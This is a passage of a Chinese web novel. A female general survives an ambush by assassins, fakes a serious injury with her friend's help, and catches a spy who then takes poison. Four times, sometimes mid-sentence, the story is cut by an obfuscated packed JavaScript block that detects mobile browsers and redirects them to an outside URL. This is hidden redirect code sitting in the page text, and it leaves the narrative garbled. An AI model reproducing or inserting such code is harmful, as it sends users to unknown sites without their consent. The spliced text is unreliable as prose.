心头泛起暖意,李明珠端起碗一饮而尽,看得路从一阵心疼:“喂喂喂,我这酒可不是给你这么牛饮的,你难不成是饕餮转世不成,不行不行,你回去得再赔给我一坛,不,两坛!”说罢,还煞有介事地将手摊到李明珠眼前。 李明珠好笑地拍在她的手上,“看你这小气劲儿,莫说两坛,就是赔你十坛都行,就是你得跟我一起酿,干点儿苦活累活儿!” “行,一言为定,正好兴龙山上的葡萄过段日子也熟了,我带你去摘。” 听她说起熟悉的地方,李明珠惊讶道:“兴龙山上还有葡萄?我怎么不知道?” 顿了顿,她迟疑着问:“这些年,你经常回去吗?” 谈起兴龙山,两人的情绪都有些低落,路从抿了口果酒,视线望向远方,半晌才开口:“不常,近两年去看了看,其实也没什么好看的,那儿,已经是荒山了。” 见路从神情之中似有落寞,李明珠担忧地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17298670|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 覆上她的手背。路从在兴龙帮待的年头比自己长很多,连自己看到昔日辉煌生动的兴龙山,如今荒无人烟,房屋破败,心里都说不清是什么滋味,更何况是路从呢。 路从却微微一笑,给了李明珠一个安慰的眼神,手腕一转握住她的手,轻声道:“你可还记得从前兴龙帮的姐妹们吗?” “当然记得,她们还好吗,我记得之前你来信说,冉冉和几个姐妹前几年就被遣往肃州了。” “是,冉冉,文绮,还有其她几个一同被分到金吾卫的姐妹,她们在两年前被全部调走,临走之前,我们去兴龙山上一起喝了几杯,也是自那日起,我每年都会回去看看。” 虽然她说的随意,但李明珠还是在她的话中敏锐地察觉出了什么,“你说冉冉她们是一起调走的?可还有别人吗?路从姐姐,你不是还有什么事没告诉我。” 路从不禁苦笑,摇了摇头无奈道:“还是什么都瞒不过你,不过你也莫要怪我,当年出事时,咱们大荣还在跟草原人开战,边关吃紧,你又经常要领兵出征,我怕据实相告乱了你的军心,这才只简单说她们去了肃州。” 顶着李明珠严肃的目光,路从放下酒碗,扯下一只烤好的鸡腿,撒上孜然香粉,递给她面前:“先吃点儿肉垫垫肚子,你许久没尝过我的手艺了,看看有没有长进?” 她们两人都是吃主,路从对李明珠说过的‘天大地大吃饭最大’这句话非常赞同,但不一样的是,李明珠只喜欢吃,不擅长也不喜欢做;路从是既喜欢吃也喜欢做,厨艺都能跟白玉尘一较高下了。 但白玉尘毕竟是内宅男儿,每日都有大把的时间去钻营厨艺。路从则是单纯喜欢研究吃食,尤其她是无肉不欢的主儿,每天最大的乐趣就是练完枪后来上一串儿自己做的肉,或蒸或煮或炸或炒,变着花样犒劳自己。也正是因为李明珠知道路从有多爱吃肉,所以才会在得知对方为了给自己买棉衣而啃胡饼时感动万分。 可是现在,看着递到自己眼前的鸡腿,李明珠却没有接,也不说话,清凌凌的水眸就这样看着路从...... 良久,路从认命地低头,把鸡腿塞进自己嘴里,一边嚼着一边含糊不清地娓娓道来。 “就如你所想的那样,她们不是简单地被调走,而是,逃到了肃州,去那儿投奔咱从前的二当家。当年圣上旨意一下,整个兴龙帮上下的都有了去处,原本一开始大家都挺高兴,能在军中混口饭吃谁还想放土匪啊。 可冉冉她们所在的是金吾卫所,里头全是京城女儿,有头有脸的大有人在,就算家世差些的,也是正经的农户出身,这些人自然而然地拧成了一股绳,对冉冉她们百般刁难。” 路从也是越说越气,又灌了口酒,才继续道:“你也知道我与她们大营离得远,虽然都在江州,但其实很少能见着面。她跟我提起这些时,已经是一年多以后了,即便过了那么长时间,她一提起还是特别激动,冉冉那性子你也知道,从来与人为善,好脾气成什么样了,连她都在卫所里待不下去,更何况剩下的姐妹呢。” 李明珠听到这些也很生气,这不就是霸凌?!太欺负人了! “后来呢?她们没有上报吗,咱们的姐妹也有不少人,为何不联名上书?” “上报?倒是可以,但没有凭据,人家也没把你怎么样,无非就是嘴上不三不四那么几句,再就是校场上打一架,打着比武的旗号,上峰将军们都是睁一只眼闭一只眼,谁会真正给土匪出头呢? 只不过后来那些人愈发变本加厉,冉冉她们实在忍无可忍,她们来找我,说想再次落草为寇。可自从兴龙帮没了,京城方圆百里哪还有什么土匪,就算是有,贸然加入也不是良策。幸而我从前跟二当家熬青有些交情,这些年也通过两封书信,便劝她们去往肃州,好歹有一容身之所。” 话落,看着李明珠沉默的样子,路从摸了摸她垂落的乌发,故作轻松:“好了好了,是你非让我说的,早知道说完你就这个样子,我就不该听你的!赶快吃,不然都烤糊了,白白浪费了我的撒料!” 知道她有心安慰自己,李明珠扯了扯嘴角,从袖中拿出一柄匕首割羊腿肉,紫金匕首在火光的映衬下显得更加锋利。 “啧啧,削铁如泥的紫金匕首竟然被你用来吃肉,明珠你可真是暴殄天物。” 李明珠瞥她一眼,直接将刚割下来的肉塞进她的嘴里,”怎么样,味道如何?还暴殄天物吗?” 路从一脸享受地嚼着烤的焦香的羊肉,还不忘眼疾嘴快地咬下了第二块肉,得意地朝李明珠抬了抬下巴。 就这样,两人的欢声笑语在山坡上弥漫,即使是六月的酷暑也不能阻止分毫。 等吃完喝完谈完笑完,天已渐渐暗了,因着军中夜里不能留外人,李明珠明日也有公事,便起身同路从告别,骑上等得不耐烦的珍珠,摇摇晃晃回府。 夜幕降临,微风冲淡了一丝暑热,李明珠喝了些酒,虽然是自己酿的果酒,度数不高,但她今日高兴,便多喝了几杯,所以眼下便有了几分醉意。幸好时辰不算太晚,离宵禁还有很久,慢慢走也来得及。 只是,就在她骑着马悠闲走在山野间,闭上眼享受这难得的静谧时,变故陡生! 一道寒光猛然间射出,直直朝着李明珠的后心而去! 31. 遇刺 多年来在实战中练出的警觉让李明珠瞬间感知到了危险,身体本能地前倾,贴在马背上,那根闪着银光的箭矢险险擦过她的头发,带起几根青丝,然后“咚”一声钉在远处的树干上,入木三分。 李明珠双腿一夹马腹,珍珠与她配合地十分默契,迅速朝前跑去。 一击失利,可那隐藏在暗处之人却不就此放弃,一声令下,无数箭矢裹挟着寒光朝李明珠追去。她身上只有一把短刃匕首,没带兵器防身,只能尽量压低身子,骑马往前狂奔。 幸好,经过这片开阔的山野,前方就是树林,一旦进入,就是天然的躲避屏障。但很显然,那些刺客也意识到了这一点,攻势更加猛烈,密密麻麻的箭雨朝她落下,就算再怎么躲避,李明珠也还是不可避免的受了些伤,衣料被划破,白皙如玉的手臂被擦出点点血痕,连身下的珍珠都没能幸免,光洁顺滑的皮毛此刻已布满伤痕,马毛混着鲜血粘在一起,却依然稳健地驮着主人疾驰。 “他爹的!”李明珠低咒一声,知道若不采取措施,她们一人一马怕是就要交待在这儿了,但眼下里那片树林还有些距离,周围也没有遮挡物,该怎么办——有了! 李明珠双目微眯,往日温柔平静的眸子里,染上了凌冽的寒意。她调整了一下坐姿,换左手持缰绳,右手从袖中取出匕首,咬掉刀鞘,在经过一棵枝繁叶茂的大树时奋力一砍,手臂粗细的树枝直接被砍断在地。 李明珠猛地勒住缰绳,珍珠嘶鸣着前蹄腾空,马背上的少年将军脚夹马腹顺势仰躺,捡起那根枝干,不停挥舞。射来的箭矢全拦在那些繁盛的枝叶里,再不能近得她身! 有了这层保护,李明珠骑着珍珠很快便冲进了树林。 只是,这片树林虽然可以帮她抵挡些攻击,但弊端也很明显,她骑着马在里面根本跑不快,身后追杀之人越来越近,终于,在树林深处的一小片空地上,几个蒙面黑衣人将她围在了中间。 李明珠坐在马上,居高临下看着这伙黑衣人,心里微微一惊,这样训练有素的杀手,居然足足有八人!她才回京不到两天,到底得罪了谁,对方竟不惜下如此血本也要置她于死地! “尔等是何人所派?可知本将是朝廷正四品宣威将军,若速速退下,还能饶你们性命,要是冥顽不灵,那就休怪本将无情!” 黑衣人中一个首领模样的人冷笑一声,道:“宣威将军?呵!我们要找的就是你,你都不知道你的命有多值钱,所以今日你注定走不掉!至于我们的主子是谁,到了黄泉路上你再问不迟!”说完,一声令下,八人拔出佩剑,一起向她袭来。 李明珠心里一凛,飞身下马踢向离她最近的一个黑衣人,那人吃痛向后踉跄几步,手中的长剑也掉落在地,李明珠瞅准时机,用匕首挡开两名黑衣人的袭击,快速捡起地上的剑,与敌人缠斗起来。 虽说她些年一直在军营历练,大大小小的战场也上过不少,但对方毕竟人多,又都是训练有素的高手,人数、兵器、武力,她都不占优势,只能咬着牙死战,身上又添了几道新伤,深深浅浅纵横可怖,握剑的右手虎口处早已经被震得麻木,只能两手持握勉强支撑,就连手上那柄见血封喉的长剑,也在一次次兵刃相接中卷刃。 李明珠知道,如果再不想法子脱困,力竭后等待她的就只有死路一条,终于,当她再次拼尽全力刺向其中一个黑衣人后,立刻后退几步,摸出了藏在怀里的袖弩。 这个袖弩是下午的时候路从给她的,当时路从看见她的紫金匕首,便把这个紫金袖弩也送给了她,说这袖弩乃是轩辕氏所造,历来只供给朝廷,民间不得私用。 但前朝末期皇室衰微,渐渐失去了对世家的掌控之力,本只应朝廷军队才有的弓弩也流传了一些出去,大部分被各个世家收拢豢养私兵,剩下的零星散落在黑市,碰上不识货的卖家,甚至能以很低的价格买走。 比如李明珠手上这只,就是当初路从仅以一两银子买下的。但她之所以不早早拿出来对敌,是因为这袖弩里只剩最后两只箭,且轩辕氏所造袖箭只能用特制的箭头,每只箭头上面都有倒钩,能将坚硬无比的紫金打造成如此精细的利器,这样的手法,放眼天下也只有轩辕氏一家所有。 也就是说,若是成功射中敌人,可以立刻让对方丧失战斗力,她便可以趁此机会突破重围。但要是射偏了,也再没有第三次机会。 李明珠握着袖弩的手紧了紧,闭了闭眸,但仅瞬息之后便又睁开,猩红嗜血的眼眸里迸出寒光,染血的面上满是破釜沉舟的决心。 当黑衣人又一次提剑刺来时,李明珠迅速举剑格挡,随后一个闪身躲到树后,三窜两窜爬到树上,又奋力一跃到了另一根更大的树枝上,朝远处吹了声口哨。 地上的黑衣人见状也跟着上了树,她们人多,且都是从小练习轻功,速度比李明珠快得多,此刻,有两个黑衣人与李明珠之间的距离不过几尺之遥,那二人成合围之势,她们对视一瞬,眼里得意之色尽显,仿佛下一刻对面的少女就是她们的剑下亡魂。 可李明珠却笑了,月光闪烁下,她整个人隐在斑驳树影间,忽明忽灭,让人看不清楚她的举动。黑衣人却没注意到她的举动,举剑便要刺来。 突然,远处传来熟悉的响动,一匹银白色战马出现在众人的视野里。 就是现在! “咻!咻!” 电光石火之间,李明珠举起早已上好弦的袖弩射出两箭,然后双脚借力,直接跳到了珍珠的马背上,马儿嘶鸣一声,四蹄点地飞奔而去,灵活地绕开树干,很快消失在了浓稠的夜色之中。 …… 一路狂奔回了同知府,小苏已经等的快要急死了,将军说了今夜会回来,可眼瞅着已经过了子时,还是连个人影都没见着。 如今城内各处都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318131|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 已宵禁,时不时还有巡逻的金吾卫,要是被她们抓了,那可是重罪,还是说......将军遇到了什么危险? “呸呸呸,死嘴,将军刚来京城,谁都不认识,能有什么危险!更何况,将军有武艺傍身,寻常人谁能伤了她去?!” 就在小苏胡思乱想之际,哒哒的马蹄声从远处街巷中传来,这声音——将军!小苏跟了李明珠六年,自是也对自家主子的宝贝战马十分熟悉,甚至每次洗马,都是她帮着李明珠一起洗的。 因此,只需隐约听到马蹄声,她便确定就是珍珠无疑! 提着的心重新落回了肚子里,小苏提着灯小跑上前,想着迎一迎自己主子,可等她看清了李明珠此时的模样后,“哗啦——”那盏琉璃黄灯便被惊掉在地,应声而碎。 刺耳的声音在寂静的夜色中显得格外突兀,李明珠原本昏沉的头脑也因这动静恢复了一丝清明,撑开沉重的眼皮,她看见小苏焦急地向她跑来,李明珠扯了扯嘴角,本想出声宽慰几句,但说出来的话却沙哑至极。 “没,咳咳,没事,先扶我进去。” “将军您,您怎么浑身是血,我让人去请大夫!”小苏扶着李明珠下马,摸了一手的血,顿时更急了,就要往府里喊人。 李明珠却一把捂住她的嘴,“不可,我这回遇刺疑点重重,万不得轻易声张,这血也不是我的,是那些刺客的,用不着大夫,一会儿我自己敷点金疮药就好。” 刚走了几步,李明珠想起珍珠也受了伤,继续吩咐道:“珍珠今日也受了伤,你打盆温水给它擦擦,帮她处理下伤口,多喂些玉米罢,它跟着我也净是吃苦了。”李明珠爱怜地摸了摸它的耳朵,珍珠似乎是听懂了她的话,知道自己马上就能有甜甜的玉米吃了,温驯地蹭了蹭李明珠的手掌心。 它这撒娇的小模样把李明珠看的好笑极了,珍珠是名马,很通人性,这么多年来陪着李明珠无数次出生入死,战功赫赫,却也伤痕累累,李明珠心疼它,平日里都是喂最好的草料,还特意向军中的马妇请教过很多养马的事宜。 马妇说珍珠有灵性,要养好这种马,可以多喂它一些人吃的饭食,尤其果子或是黑豆,混在草料里,马儿吃的丰富,长年累月下来,就要比只吃草的马健壮些。 所以自那以后,珍珠就成了一匹幸福小马,将军府里的果子成熟后,大半都进了它的肚子,脆脆甜甜的大桃、酸甜的葡萄,哪怕是石榴这种麻烦的水果,李明珠都会把籽剥下来,一把一把地喂给它。当然,它最喜欢吃的还是玉米,因此每次它立了功或是受了伤,李明珠都会喂它顿玉米当加餐,吃完后便高兴得围着自家主人不停打响鼻。 “珍珠,你今天也辛苦了,一会儿吃完好好休息,我明日就来看你,咱们再好好洗个澡,好不好。” 珍珠歪头,黒如曜石的眼睛看着李明珠。 世有名马,得遇良主。 32. 捉奸 “嘶!” “嘶!” 金疮药覆在伤口上,泛起丝丝密密的疼,饶是李明珠也不由微微蹙眉。 她身上的伤口都不算深,比起往日在战场上受的伤,今日的这些显然不值一提,但细小的伤口很多,一点点清洗、敷药,也花了不少时间。 随着最后一道伤痕处理完成,李明珠将帕子扔进水盆,系好衣襟进了书房。 小苏已站在桌案前等着了,见她进来,恭敬禀报:“将军,照您的吩咐,府里谁都没惊动,只叫了连雁去看顾马匹。另外,这是府里所有侍从奴仆的身契,您过目。” 李明珠接过,随意翻了几下,并未太在意,毕竟都派杀手杀她了,难道还能蠢到在身契上露马脚不成。 小苏自然也知道这一点,这些下人都是她亲自看过买来的,当初将军提前让她进京,就是让她来打理府邸、采买奴仆的,她却连这些小事都做不好,害主子一来就遇险。 虽然李明珠只是轻描淡写地说了遇刺的事儿,但看她一身的伤痕,小苏就能想象出当时的凶险,要是,要是那些杀手人再多些,要是将军功夫差些,岂不是就—— 想到这儿,小苏这个七尺女儿直接掉了眼泪,跪倒在地磕头道:“主子,您责罚奴才罢,奴才办事不力,害您遭此大难,奴才愿受四十军棍!” 李明珠没去扶她,坐在桌案后淡声开口:“你跟了我这么些年,我自然相信你是一心为我、忠诚于我。但咱们如今是在京城,势力繁杂,我又将与蓝家公子成亲,蓝家这盘肉被觊觎多时,圣上偏给了我,她们怎能不视我如眼中钉?咱们府里被盯上也是迟早的事。 小苏,我不会责罚你,事后责罚是失败者无能的行为。只是——” 她话锋一转,继续道:“我要你记得今日的教训,这次你被她们欺瞒,不辨忠奸,我不怪你,但再有下次,法不容情!” 小苏心中一凛,虽然将军神情与往日无异,可她就是敏锐地察觉到那语气里的一丝厉色,知晓自己真的让主子动怒了,小苏顿时汗如雨下,保证道:“谢主子不罚之恩,奴才日后一定小心行事,求主子给奴将功赎罪的机会,奴才定把幕后之人揪出来!” “罢了罢了,真等着你来查清楚,黄花菜都凉了。此事我已有解决之法,你且看着,本将要让那幕后之人自己钻出来!” 话落,她又与小苏耳语几句,便让对方下去了。 待屋子里彻底安静下来,李明珠靠在椅背上,疲惫地捏了捏眉心,在寂静的黑夜里吐出一声叹息:“终究,还是进了旋涡。” 翌日,午时。 主院的屋门紧闭,四周都是守卫,五大三粗的娘子们腰间带着刀,周围的仆人们三三两两的议论着,一片人心惶惶。 但众人不知道的是,屋子里却是另外番景象。李明珠正盘膝坐在榻上,吃烤鸭!吃几口觉得腻了,便就着路从的手喝一口冰过的梅子饮,舒服地眯起了眼。 她这模样直接把路从给看乐了,瞥了眼窗外的人影,问道:“你打算装到什么时候?” 今日一早,她刚要去校场,便有手下兵士过来通禀,说有人来找,还带了一封信,要亲手交给她。 将信将疑地让人把小苏带到值房,路从打开信一看,心中大惊,急忙拉着小苏问道:“明珠呢,她受伤了没有,怎么会遇刺,她才刚回来,谁要杀她,昨夜的事,怎得现在才告诉我。” 小苏被她攥地龇牙咧嘴,“诶呦,路大人,那您先放开小人,主子不是都在信里跟您说了,她没事,只受了点小伤,您别着急——” “小伤?!什么是小伤!明珠一向是报喜不报忧的性子,我如何能不着急!” 路从急得脸色涨红,恨不得插上两根翅膀直接飞到李明珠跟前,但也知此时不是意气用事的时候。 她深深吸了口气,冷静下来后,按李明珠信上的要求,点了十几名兵士,换上粗布衣裳,让小苏带她们先走一步,她自己则去找上峰告假,然后也骑上快马,本想一路狂奔去见李明珠,但想到信上最末的一句话,还是先调转了马头,去荟萃楼买了只烤鸭和清露梅子饮。 等她终于到了同知府时,小苏已经把人安排好了。十几个人分成三队,昼夜轮岗守在主院外,不轮值的人也不闲着,都隐在暗处,监视府里奴仆的一举一动。 路从这些年一直都在京郊大营,从无品阶的参将到现在做了右仆役,虽说只是正六品,但架不住手底下有人,是个实职。她自身也有本事,几年时间下来,把手底下的人收拾的心服口服,这次带过来的人,全是她精心挑选出来的精锐。 不过她们毕竟是朝廷的兵,不能太过张扬,李明珠也是考虑到了这一点,便提前让她们换上寻常百姓的衣物。若有人问起,就只说是李将军遇刺,凶险万分,小苏怕府里再出乱子,就从乡间聘了些护卫,暂时保护主子安危。 然而,外人口中已经性命垂危的李明珠李将军,已经在吃第二个鸭腿了。 听到路从问她,李明珠咽下一口肉,含糊不清地回道:“当然是装到上面来人啊!” “上面?哪上面?” 李明珠:...... “路从姐姐你是不是练兵练傻了?当然是圣上啊!等皇帝什么时候派人来,我的伤就什么时候好。” 路从屈指在她额头轻弹一下,“啧,你个小没良心的,我听说你受伤都要急死了,马不停蹄跑来看你,还巴巴儿地绕路去给你买烤鸭,你还说我傻,不要吃了不要吃了,这只鸭为你而死可真冤!”说着就要伸手去抢李明珠手里的烤鸭。 “诶呦诶呦——我错了!路从姐姐——唔,好了,吃完了!”李明珠一边躲她的手,一边讨饶,趁路从放松警惕之际,一口把最后一块肉吞了下去。 一大块肉,吃的李明珠两腮鼓鼓的,配上那双水眸,活像是林间翘着尾巴进食的小松鼠,想到这儿,路从鬼使神差地往她身后看去,明珠要是有条尾巴—— “喂!路从姐姐?!路仆役?想什么呢,眼都直了,难不成是在想哪个男儿的温香暖床?” 路从一下子回神,一手摸着有些泛红的耳根,一手作势要去打她的嘴,“去去去,哪来的什么暖床,倒是你,马上要成亲了,那蓝家公子小时候我可是见过的,当年才十岁就有那样的姿容,如今还不知长得有多么祸国殃民,你与他成亲,可别栽在人家怀里出不来,日日躲在那芙蓉帐里,哼,男人都是狐狸精,骚臭骚臭的。” 顿了顿,她又补充道:“你以后要是来见我,可得洗干净再来,咱这鼻子可闻不了什么旁的味道。” 李明珠震惊地瞪大了眼睛:“骚臭味儿?!你去风月楼时怎么不这么说!” 路从这些年也一直未成婚,她比李明珠还大几岁,今年已经二十有七了,在这个普遍女子二十就要成婚的时代,路从在人群中可谓是独树一帜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323058|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 像她们从前在兴龙帮的姐妹们,谁不是夫郎孩子热炕头,连冉冉当年去肃州时,孩子都生两个了,牵着大的抱着小的,可路从对此却毫不羡慕,带着一大家子,一路上还得雇车住店,孩子哭了闹了还得哄着,要是只有一个人,包袱往马背上一扔,骑上就走,多自在! 路从活这么大,除了吃饭、练武和李明珠之外,就没有别的爱好,就算有了欲望,也能自己纾解一番,实在不成,就上风月楼里找个干净的小倌儿,消遣一夜就走,反正她也穷,不用担心有心人故意怀了孩子攀上她,日子过得要多潇洒有多潇洒。 所以此刻,面对李明珠的震惊之色,路从很是坦然地道:“这能一样吗,我那都是露水情缘,连他们的脸都不记得了,自然算不得数!你可是要跟那狐狸绑一辈子的。” 这话说到最后,她的眼里带上了些李明珠看不懂的神色,却也只有那么一瞬,还未来得及捕捉,便被隐藏。 路从掩饰住情绪,转移了话题:“好了好了,我的人都带来了,你快告诉我该怎么做。你方才说要等圣上派人,难不成此事与圣上有关?” 说起正事,李明珠也收敛了神色,“此时定不是圣上所为,她给我赐婚,就是想以我去谋夺蓝家和轩辕氏的势力钱财,若是我死了,蓝玄不论与哪个世家女成亲,三股势力联合起来都足以动摇她萧氏的江山。所以,昨夜那波黑衣人,必定不是出自皇上之手,她不仅不能杀我,还得保护我。得知我受伤,生死一线,她必会派人调查此事。” “所以你想借皇帝之势找到幕后之人!出息了明珠!咱怎么没想到这招儿!” 见路从眼里只有兴奋与激动,没有半分对她利用皇权的不赞同,李明珠心头划过暖意,她就知道,无论自己做出什么决定,哪怕是违背了世人心中根深蒂固的忠君之法,路从也会坚定地站在她身后,永不动摇。 闭了闭眼将心中的热意压下去,李明珠继续启唇道:“也不是完全靠皇帝,咱们得做两手准备,所以我才让你带人过来。我昨日出城之事,除了你我,就是我府里这些下人知晓,这些人都是小苏来京城后才买的,肯定被混入了各家的眼线。” 顿了顿,她看向窗外那些守卫,压低声音道:“外面这阵仗,府里应是人心惶惶,他们又进不来,打探不到我的情况,那幕后之人坐不住,必会有所行动,所以只要盯紧这些下人,连根拔起,定能查清幕后主使。” 演戏演全套,为了装出关心李明珠伤势,路从晚上干脆就没回去,直接与李明珠同榻而眠。 别看两人已经认识了这么久,但还是头一回睡在一张榻上。李明珠没什么感觉,睡得跟跟往常一样沉,路从却激动得心都要跳出胸腔,她睡不着,却不敢乱动,只能闭着眼熬时辰,整整一夜,居然连一息都没睡! 所以第二日清早,李明珠一睁眼,看见面容憔悴到可怖的路从时,原本还有些迷蒙的双眼一下子清醒了。 不禁惊讶道:“路从姐姐,你怎么成这样了?!” 随即又有些自我怀疑:“是不是我睡觉太不老实,吵着你了?” 路从心虚气短,有苦说不出,只能含混糊弄过去:“这不是要显现出对你的担心吗,这样多好,演都不用演了,那奸细一看我这副样子,就能信个八九分。” 仿佛应了她的话那般,就在当天晚上,整个同知府陷入黑暗后,一个身影悄然而动! 33. 得失 从前的辽州将军府规矩没那么多,反正都是关起门来过日子,李明珠也不想把家里搞得太麻烦。但来了京城却不同,人多眼杂,加上蓝玄出身蓝家,规矩肯定大,为避免他嫁进府来挑理,李明珠便提前嘱咐小苏给下人们立好规矩,总不能叫人看了笑话。 所以,同知府的下人每日都恭恭谨谨地做事,每日卯时正上工,晚上亥时就都要回房,除了伺候主子的,其余人不得在府里随意走动。 因此,当夜幕降临,那道身影鬼鬼祟祟在院墙处挖洞时,立刻便被隐在树上的兵士逮了个正着,直接捆了押送到李明珠跟前。 “禀将军,这人方才要往外递消息,被我们的人抓个正着,您看,这是他要传递的信件。” 李明珠接过字条,展开一看,上面只有四个字:伤重有疑。 她眯了眯眼,目光如有实质的凝着那被五花大绑摁在地上的男子。 “抬起头来!”李明珠的声音不高,却透着让人不容反抗的威压。 那男奴匍匐在地上,清瘦的身子颤了颤,缓慢地抬起了头。 是一张很普通的脸。普通到若是今天他没有被直接抓住现行,旁人永远也想不起府里还有这号人。 李明珠突然就笑了,“你主子可真是费尽心思啊,我与她究竟有什么仇什么怨,值得她如此算计于我?!” 男奴跪在地上垂着眼,却不发一言。 这时小苏已经找出了他的身契,躬身上前禀报道:“主子,这人叫阿柳,江州西郊五柳村人,但家中就剩他一人了。” 李明珠只随意扫了一眼那人的身契,随即就放在烛台上点燃,薄薄的纸张很快被火苗吞噬,化为一摊灰烬。 “说罢,你是谁派来的。” 阿柳闻听此言,跪直了身子,终于出声道:“小人,咳咳,小人乃京城五柳村人士,家住——” “本将没有闲心听你扯这些有的没的,原本念你是男子,不想给你动刑,只要你交待出这封信究竟是要给谁,本将不会为难你,还会给你些银子送你出城,但你若是冥顽不灵,本将也不介意让你尝尝生不如死的滋味儿。你可要考虑清楚!” 话虽如此,但李明珠其实也没报多大希望,能被派来当奸细的人,必定不是寻常下人,不可能随随便便就供出自己的主子。更何况这人相貌普通到毫无记忆点,定然是被精心挑选的,一般方法应是撬不开他的嘴。 果然阿柳听完李明珠的话,又沉默了,他跪的端正,低眉敛目,一副顺从姿态,但就是不开口,见此情形,李明珠也不多与他废话,挥了挥手,就想让连雁将他带下去。 然而,就在连雁上前去拿人时,阿柳突然浑身抽搐,口鼻直往外冒血。 事发突然,众人都还没反应过来,阿柳的整个身体便向一旁倒去。李明珠一个箭步上前,一手拖住他软倒的身子,另一手掐住对方的下颌,想要强迫着掰开他的嘴,只是为时已晚,一阵痉挛过后,阿柳便如一条死鱼般倒在地上,气绝身亡。 偌大的厅堂内,此刻鸦雀无声。李明珠缓缓收回手,也未发一语,只沉默着进了东屋。 路从见她情绪不对,忙抬脚跟上,只是走到一半,想起地上还有个死人,心里暗道一声晦气,转身吩咐连雁:“去看看他身上和屋里有没有能证明身世的物件,有就拿来给将军过目。” 话落,又嫌恶地看了一眼地上的人,“还不赶紧拖下去,用席子裹了扔到乱葬岗!再把地衣都换了,也一并扔了!”说完,便快步进了屋。 屋内,李明珠正负手立在窗前,听见身后的动静,知道是路从,便没转身,仍对着夜色缓声开口:“外面都处理好了?” 她的声音里透着浓浓的疲惫,听的路从一阵心疼。她没回答,上前牵了李明珠的手,将她带到榻上坐下,在其不解的眼神中蹲下身为她脱了鞋,低声道:“外面的事都是小事,用不着你耗费心力,我自会替你办妥。你现在最要紧的是好好睡一觉,别人家没能杀了你,你自个儿倒累垮了。” 知道路从是关心自己,李明珠把她也拉坐到榻上,轻声开口:“这种时候,我怎么睡得着啊。费这么大劲,好不容易抓到了人,居然就这么死了,唯一一条线也断了。敌在暗我在明,难道我就只能束手无策被她们暗算?” 路从也很生气:“那贱人嘴里竟还藏了毒药,幕后之人还真是下足了功夫,明珠,接下来咱们怎么办,难不成真让凶手逍遥法外?!你往日最是有主意,只要你吩咐,我拼上这条命也给你办成!” 李明珠心头微微震动,但她们之间的情谊已无需多言。 轻轻将头靠在路从肩上,李明珠闭上眼思索着接下来的对策。如今奸细死了,那背后之人想必马上就会提高警惕,放长线钓大鱼是行不通了,这次的暗亏她算是吃定了。 心里实在堵得慌,她松开路从的手,直接毫无形象地仰躺在床上,扯过一旁的薄被盖在脸上,声音从被子里传出来,闷闷的,“这次是栽了,原本还想着抓住了人证把事情闹大,让圣上借此对世家发难。” 说完,又一把将被子拉下来,继续道:“明日你就把你的人撤走罢,虽说她们都换了衣裳隐瞒了身份,但毕竟人多口杂,如今事已至此,也没必要冒着风险跟朝廷派来的人遇上,万一走漏了风声,我担心樊将军会罚你。” 樊将军是路从的顶头上峰,同李明珠一样是正四品,只不过人家是兵马司指挥使,手底下有五万大军,负责京城的布防,是正儿八经的大权在握。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328502|197236||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >路听了却不太在意,“老樊那儿你不用管,我跟她说我带着人上城外野练去了,这些人都是跟了我多年的,她们知道什么还说什么不该说。不过你的意思是,圣上还会派人来?可是那什么什么柳的,人都死了,她还让人来做什么?” “自然是来安抚一下受伤的我啊!” 路从狐疑:“她能有这么好心?她要是真是想帮你讨回公道,还不如把你跟蓝玄的婚事作废,你一下子就解脱了。” 听出路从语气里的鄙夷,李明珠郁闷的心情有些好转,总算露出个笑模样,赞同道:“这倒是,要是没有她那道赐婚圣旨,我现在还舒舒服服地在辽州跑马呢,哪里会遇上如今这些污糟事。” 两人就这么你一言我一语地说着话,直到天色将晓才睡下。 只是,她们睡得着,有人却彻夜无眠。 蓝宅。 “废物,都是一群废物,千机阁那帮人蠢笨如猪,还想要报酬!” “哗啦——” 